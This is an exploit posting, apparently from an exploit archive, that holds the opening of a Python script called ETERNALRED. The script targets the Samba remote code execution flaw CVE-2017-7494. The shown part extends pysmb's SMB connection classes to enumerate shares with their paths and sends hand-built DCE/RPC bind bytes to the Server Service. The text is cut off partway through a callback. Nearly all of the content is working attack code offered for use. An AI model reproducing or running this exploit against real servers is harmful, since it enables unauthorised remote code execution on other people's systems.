Samba 3.5.0 Remote Code Execution
Posted on 26 May 2017
#! /usr/bin/env python # Title : ETERNALRED # Date: 05/24/2017 # Exploit Author: steelo <knownsteelo@gmail.com> # Vendor Homepage: https://www.samba.org # Samba 3.5.0 - 4.5.4/4.5.10/4.4.14 # CVE-2017-7494 import argparse import os.path import sys import tempfile import time from smb.SMBConnection import SMBConnection from smb import smb_structs from smb.base import _PendingRequest from smb.smb2_structs import * from smb.base import * class SharedDevice2(SharedDevice): def __init__(self, type, name, comments, path, password): super().__init__(type, name, comments) self.path = path self.password = password class SMBConnectionEx(SMBConnection): def __init__(self, username, password, my_name, remote_name, domain="", use_ntlm_v2=True, sign_options=2, is_direct_tcp=False): super().__init__(username, password, my_name, remote_name, domain, use_ntlm_v2, sign_options, is_direct_tcp) def hook_listShares(self): self._listShares = self.listSharesEx def hook_retrieveFile(self): self._retrieveFileFromOffset = self._retrieveFileFromOffset_SMB1Unix # This is maily the original listShares but request a higher level of info def listSharesEx(self, callback, errback, timeout = 30): if not self.has_authenticated: raise NotReadyError('SMB connection not authenticated') expiry_time = time.time() + timeout path = 'IPC$' messages_history = [ ] def connectSrvSvc(tid): m = SMB2Message(SMB2CreateRequest('srvsvc', file_attributes = 0, access_mask = FILE_READ_DATA | FILE_WRITE_DATA | FILE_APPEND_DATA | FILE_READ_EA | FILE_WRITE_EA | READ_CONTROL | FILE_READ_ATTRIBUTES | FILE_WRITE_ATTRIBUTES | SYNCHRONIZE, share_access = FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, oplock = SMB2_OPLOCK_LEVEL_NONE, impersonation = SEC_IMPERSONATE, create_options = FILE_NON_DIRECTORY_FILE | FILE_OPEN_NO_RECALL, create_disp = FILE_OPEN)) m.tid = tid self._sendSMBMessage(m) self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, connectSrvSvcCB, errback) messages_history.append(m) def connectSrvSvcCB(create_message, **kwargs): messages_history.append(create_message) if create_message.status == 0: call_id = self._getNextRPCCallID() # The data_bytes are binding call to Server Service RPC using DCE v1.1 RPC over SMB. See [MS-SRVS] and [C706] # If you wish to understand the meanings of the byte stream, I would suggest you use a recent version of WireShark to packet capture the stream data_bytes = binascii.unhexlify(b"""05 00 0b 03 10 00 00 00 74 00 00 00""".replace(b' ', b'')) + struct.pack('<I', call_id) + binascii.unhexlify(b""" b8 10 b8 10 00 00 00 00 02 00 00 00 00 00 01 00 c8 4f 32 4b 70 16 d3 01 12 78 5a 47 bf 6e e1 88 03 00 00 00 04 5d 88 8a eb 1c c9 11 9f e8 08 00 2b 10 48 60 02 00 00 00 01 00 01 00 c8 4f 32 4b 70 16 d3 01 12 78 5a 47 bf 6e e1 88 03 00 00 00 2c 1c b7 6c 12 98 40 45 03 00 00 00 00 00 00 00 01 00 00 00 """.replace(b' ', b'').replace(b' ', b'')) m = SMB2Message(SMB2WriteRequest(create_message.payload.fid, data_bytes, 0)) m.tid = create_message.tid self._sendSMBMessage(m) self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, rpcBindCB, errback, fid = create_message.payload.fid) messages_history.append(m) else: errback(OperationFailure('Failed to list shares: Unable to locate Server Service RPC endpoint', messages_history)) def rpcBindCB(trans_message, **kwargs): messages_history.append(trans_message) if trans_message.status == 0: m = SMB2Message(SMB2ReadRequest(kwargs['fid'], read_len = 1024, read_offset = 0)) m.tid = trans_message.tid self._sendSMBMessage(m) self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, rpcReadCB, errback, fid = kwargs['fid']) messages_history.append(m) else: closeFid(trans_message.tid, kwargs['fid'], error = 'Failed to list shares: Unable to read from Server Service RPC endpoint') def rpcReadCB(read_message, **kwargs): messages_history.append(read_message) if read_message.status == 0: call_id = self._getNextRPCCallID() padding = b'' remote_name = '\\' + self.remote_name server_len = len(remote_name) + 1 server_bytes_len = server_len * 2 if server_len % 2 != 0: padding = b'